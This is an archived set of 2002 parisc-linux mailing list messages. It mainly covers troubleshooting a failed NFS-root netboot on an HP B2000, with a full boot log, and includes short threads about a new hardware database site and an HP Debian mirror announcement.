> on the 712/60 the command to get the mac address was 'lana' - it may be
> different for yours

on b2000 it is in to step first info then la (Ok)

> 
> replace the ip address with the address you want the new machine to
> netboot
> with & replace the hp-ux between the brackets with the machine name
> 
> create a directory /tftpboot on your boot server & copy the relevant
> lifimage file for your machine into it - you can get this from the
> debian
> ftp site

There should be also the problem: on ftp.parisc-linux.org i do not find a
relevent lifimage (too old for a b2000) so I build it from last palo cvs sources
with default parameters for an NFSROOT = 172.16.248.169 (my bootp-tftp server)
and CMDLINE = 0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=172.16.248.169
ip=bootp

But I do not find /dev/nfs  (and no way to build with MAKEDEV) on the bootp-tftp
server?

> 
> create a /usr/src/parisc directory on your boot server too

What should I have to put in this dir?

> 
> the file /etc/bootptab on your bootserver should contain
> 
> [hp-ux]
> :hd=/tftpboot:\
> :rp=/usr/src/parisc/:\
> :ht=ethernet:\
> :ha=FFFFFFFFFFFF:\
> :ip=192.168.193.83:\
> :bf=lifimage:\
> :sm=255.255.255.0:\
> :to=7200:
> 
> 
> dunno what the boot command is on your machine, but on the 712/60 from
> the
> boot console i use 'boot lan'
> 

same for b2000 afaik

> your machine should now netboot
> 

It seems start to netboot well but the failed when try to mount its nfs root fs.
Here is the full messages:

Firmware Version 4.9

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              268435456 bytes
  Good memory required:           23027712 bytes

  Primary boot path:    SCSI.6.0
  Alternate boot path:  SCSI.5.0
  Console path:         GRAPHICS(0)
  Keyboard path:        USB

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command >   bo lan 
Interact with IPL (Y, N, Q)?> y   n

Booting... 
Network Station Address 0030d3-015a3b

System IP Address 172.16.248.45
Server IP Address 172.16.248.169

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.0 root@palinux Wed Apr 17 10:24:11 CEST 2002

Boot image contains:
    0/vmlinux32 4062608 bytes @ 0x8000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=172.16.248.169
ip=bootp   console=ttyS0 palo_kernel=0/vmlinux'
Selected kernel: /vmlinux from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... 
This box can boot either 32 or 64-bit kernels...Only see a 32-bit kernel, using
thatELF32 executable
Entry 001001d8 first 00100000 n 4
Segment 0 load 00100000 size 2322068 mediaptr 0x1000
Segment 1 load 00338000 size 712704 mediaptr 0x238000
Segment 2 load 003e8000 size 32768 mediaptr 0x2e6000
Segment 3 load 004153a8 size 111408 mediaptr 0x2ee3a8
Branching to kernel entry point 0x001001d8.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.18-pa12-lvm-1.0.3-evms-1.0.0-jfs-1.0.17 (root@palinux) (gcc
version 3.0.4) #13 Tue May 14 15:42:21 CEST 2002
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005d00 00000481 00000000 00000002 77e93910 100000f0 00000008 000000b2
000000b2
vers  00000301
CPUID vers 17 rev 11 (0x0000022b)
model 9000/785/B2000
Total Memory: 256 Mb
pagetable_init
On node 0 totalpages: 65536
zone(0): 65536 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at f05d0008,f05d0000 registered
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=172.16.248.169
ip=bootp   console=ttyS0 palo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 799.53 BogoMIPS
Memory: 254656k available
Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000 [10], versions 0x582, 0x0, 0xb
2. Elroy PCI Bridge (13) at 0xfed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfed32000 [10/1], versions 0x782, 0x0, 0xa
4. Kazoo W+ (0) at 0xfffa0000 [32], versions 0x5d0, 0x0, 0x4
5. Memory (1) at 0xfed10200 [49], versions 0x9d, 0x0, 0x9
CPU(s): 1 x PA8600 (PCX-W+) at 400.000000 MHz
SBA found Astro 2.1 at 0xfed00000
lba version TR4.0 (0x5) found at 0xfed30000
lba version TR4.0 (0x5) found at 0xfed32000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Enabled soft power switch (polling mode, io=0xf0400804).
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 64) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 101 [PCSPP(,...)]
Starting kswapd
Journalled Block Device driver loaded
JFS development version: $Name: v1_0_17 $
PCI graphic ROM found at f4940000 (128 kB), fb @ fb000000 (16 MB)
STI word mode ROM at f4940044, hpa=fb000000
STI word mode ROM, id 35acda16-9a02587, conforms to spec rev. 8.0c
STI device: HPA4982A
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
ttyS00 at port 0x03f8 (irq = 99) is a 16550A
ttyS01 at port 0x02f8 (irq = 100) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
NS87415: IDE controller on PCI bus 00 dev 70
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0900-0x0907, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0908-0x090f, BIOS settings: hdc:pio, hdd:pio
hda: LTN485S, ATAPI CD/DVD-ROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
hda: ATAPI 48X CD-ROM drive, 120kB Cache
Uniform CD-ROM driver Revision: 3.12
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xf00, 00:30:D3:01:5A:3B, IRQ 66.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1: ***WARNING***: No MII transceiver found!
eth1: Digital DS21143 Tulip rev 65 at 0x12100, 00:30:6E:06:23:D0, IRQ 130.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 1, device 3, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c895a detected 
sym53c875-0: rev 0x26 on pci bus 1 device 3 function 0 irq 131
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c895a-1: rev 0x1 on pci bus 0 device 15 function 0 irq 65
sym53c895a-1: ID 7, Fast-40, Parity Checking
sym53c895a-1: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
Attached scsi disk sda at scsi1, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi1, channel 0, id 6, lun 0
sym53c895a-1-<5,*>: FAST-40 WIDE SCSI 80.0 MB/s (25.0 ns, offset 31)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
Partition check:
 sda: unknown partition table
sym53c895a-1-<6,*>: FAST-40 WIDE SCSI 80.0 MB/s (25.0 ns, offset 31)
SCSI device sdb: 17773524 512-byte hdwr sectors (9100 MB)
 sdb: unknown partition table
sticonsole_init: searching for STI ROMs
Console: switching to colour STI console 160x64
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
LVM version 1.0.3(19/02/2002)
evms: md raid5: measuring checksumming speed
evms: md raid5:    8regs     :   964.400 MB/sec
evms: md raid5:    8regs_prefetch:   964.400 MB/sec
evms: md raid5:    32regs    :   684.800 MB/sec
evms: md raid5:    32regs_prefetch:   684.800 MB/sec
evms: md raid5: using function: 8regs_prefetch (964.400 MB/sec)
evms: EVMS v1.0.0 initializing .... info level(5).
evms: Exporting EVMS Volume(63,1) from "/dev/evms/sda".
evms: Exporting EVMS Volume(63,2) from "/dev/evms/sdb".
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 16384 bind 32768)
IP-Config: Incomplete network configuration information.
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 172.16.248.169
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get nfsd port number from server, using default
Looking up port of RPC 100005/1 on 172.16.248.169
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get mountd port number from server, using default
RPC: sendmsg returned error 229
mount: RPC call returned error 229
Root-NFS: Server returned error -229 while mounting /tftpboot/(none)
VFS: Unable to mount root fs via NFS, trying floppy.
request_module[block-major-2]: Root fs not mounted
VFS: Cannot open root device "nfs" or 02:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 02:00
 

any more idea?

thanks a lot for attention,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New HWDB design online
Date: Tue, 14 May 2002 20:35:38 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <62DAF8F4-6769-11D6-9BB9-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621290 7167 80.91.229.3 (22 Nov 2014 01:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:50 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 12:35:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66716482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 12:35:40 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 588E349C33; Tue, 14 May 2002 20:35:38 +0200 (CEST)
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14762

Bonjour !  ;o)

I'm glad to announce that the new hwdb is online at 
http://hwdb.parisc-linux.org/

I hope you'll like it, and I pray it will work fine.

Please mail for any comment/problem to report.

Enjoy ;o)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New HWDB design online
Date: Wed, 15 May 2002 00:11:29 +0200
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3CE18B91.8B0E15B@gmx.at>
References: <62DAF8F4-6769-11D6-9BB9-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621290 7172 80.91.229.3 (22 Nov 2014 01:54:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:50 +0000 (UTC)
Cc: PA/Linux <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 16:11:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD3EF482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 16:11:24 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020514221118.JFBG13834.viefep16-int.chello.at@gmx.at>;
          Wed, 15 May 2002 00:11:18 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14763

Hello !

Are you now responsible for the HWDB ?

I wrote moths ago some times to the "webmaster" to delete my
registratioon with the old email address !

Please delete for 
	720
	E55
the entry "christoph.plattner@dot.at". It is already duplicated with
my "gmx.at" mail account ! "dot.at" is not valid now !

With friendly regards
Christoph P.



Thibaut VARENE wrote:
> 
> Bonjour !  ;o)
> 
> I'm glad to announce that the new hwdb is online at
> http://hwdb.parisc-linux.org/
> 
> I hope you'll like it, and I pray it will work fine.
> 
> Please mail for any comment/problem to report.
> 
> Enjoy ;o)
> 
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New HWDB design online
Date: Tue, 14 May 2002 17:51:20 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20020514235120.BA086482A@dsl2.external.hp.com>
References: <62DAF8F4-6769-11D6-9BB9-0030656F07A2@esiee.fr>  <3CE18B91.8B0E15B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621291 7183 80.91.229.3 (22 Nov 2014 01:54:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:51 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 17:51:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BA086482A; Tue, 14 May 2002 17:51:20 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Wed, 15 May 2002 00:11:29 +0200." <3CE18B91.8B0E15B@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14764

Christoph Plattner wrote:
> Hello !
> 
> Are you now responsible for the HWDB ?

Christoph,
No. Mostly, thibaut just updated the header/footer/navigation bar
so it matches the rest of the site. Of course, if someone
*wants* to maintain hwdb, they should let me know...

> I wrote moths ago some times to the "webmaster" to delete my
> registratioon with the old email address !
> 
> Please delete for 
> 	720
> 	E55
> the entry "christoph.plattner@dot.at". It is already duplicated with
> my "gmx.at" mail account ! "dot.at" is not valid now !

If that doesn't get updated by this weekend, send me a friendly reminder
and I'll see if I can figure out how to do that on the weekend.

grant



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New HWDB design online
Date: Tue, 14 May 2002 17:53:02 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020515005302.GZ32033@tausq.org>
References: <62DAF8F4-6769-11D6-9BB9-0030656F07A2@esiee.fr> <3CE18B91.8B0E15B@gmx.at> <20020514235120.BA086482A@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621291 7184 80.91.229.3 (22 Nov 2014 01:54:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:51 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	Thibaut VARENE <varenet@esiee.fr>,
	PA/Linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 18:01:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E171F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 18:01:30 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id qopjnaaa for parisc-linux@lists.parisc-linux.org; Tue, 14 May 2002 17:00:01 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5055DCD2A7; Tue, 14 May 2002 17:53:02 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020514235120.BA086482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14765

> No. Mostly, thibaut just updated the header/footer/navigation bar
> so it matches the rest of the site. Of course, if someone
> *wants* to maintain hwdb, they should let me know...

I've been doing edits on and off...

> > Please delete for 
> > 	720
> > 	E55
> > the entry "christoph.plattner@dot.at". It is already duplicated with
> > my "gmx.at" mail account ! "dot.at" is not valid now !
> 
> If that doesn't get updated by this weekend, send me a friendly reminder
> and I'll see if I can figure out how to do that on the weekend.

it's fixed now.

randolph



From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Muratti <rick@ccoz.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: tftp boot
Date: Wed, 15 May 2002 11:53:19 +1000
Lines: 21
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020515114933.04d138b8@pop01.corpconnect.com.au>
References: <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk> <1021396202.3ce144ea30690@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621291 7190 80.91.229.3 (22 Nov 2014 01:54:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 14 19:53:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from picard.corpconnect.com.au (picard.corpconnect.com.au [203.34.58.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43428482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 May 2002 19:53:34 -0600 (MDT)
Original-Received: from klingon.corpconnect.com.au (ppro.corpconnect.com.au [203.34.58.17])
	by picard.corpconnect.com.au (8.8.7/8.8.7) with ESMTP id LAA26146
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 11:53:18 +1000
X-Sender: rick@pop01.corpconnect.com.au
X-Mailer: QUALCOMM Windows Eudora Version 5.1
In-Reply-To: <1021396202.3ce144ea30690@webmail.tiscalinet.be>
Original-References: <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
 <002501c1fb5b$48459540$02c1a8c0@james.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14766

At 07:10 PM 14/05/2002 +0200, joel.soete@freebel.net wrote:
>Hey James,
>
>CUT--


>Linux version 2.4.18-pa12-lvm-1.0.3-evms-1.0.0-jfs-1.0.17 (root@palinux) (gcc
>version 3.0.4) #13 Tue May 14 15:42:21 CEST 2002
CUT--

NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
>Looking up port of RPC 100003/2 on 172.16.248.169
                                                         ^^^^^^^^^^^^^^^^^
Are you running nfsd on this machine and have you exported
the root file system on it.

Cheers
Rick




From - Thu Nov 08 21:22:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .cup.hp.com LinuxCOE mirror
Date: Wed, 15 May 2002 00:06:02 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20020515060602.87E5D482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621292 7194 80.91.229.3 (22 Nov 2014 01:54:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 15 00:06:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87E5D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 May 2002 00:06:02 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14767

HP folks in Cupertino: LinuxCOE is now locally available!
I've set up a full Debian mirror and parts of RH.
Tell me if something you need from LinuxCOE is missing.
I still have some 20GB available.

Debian folks can point sources.list to 

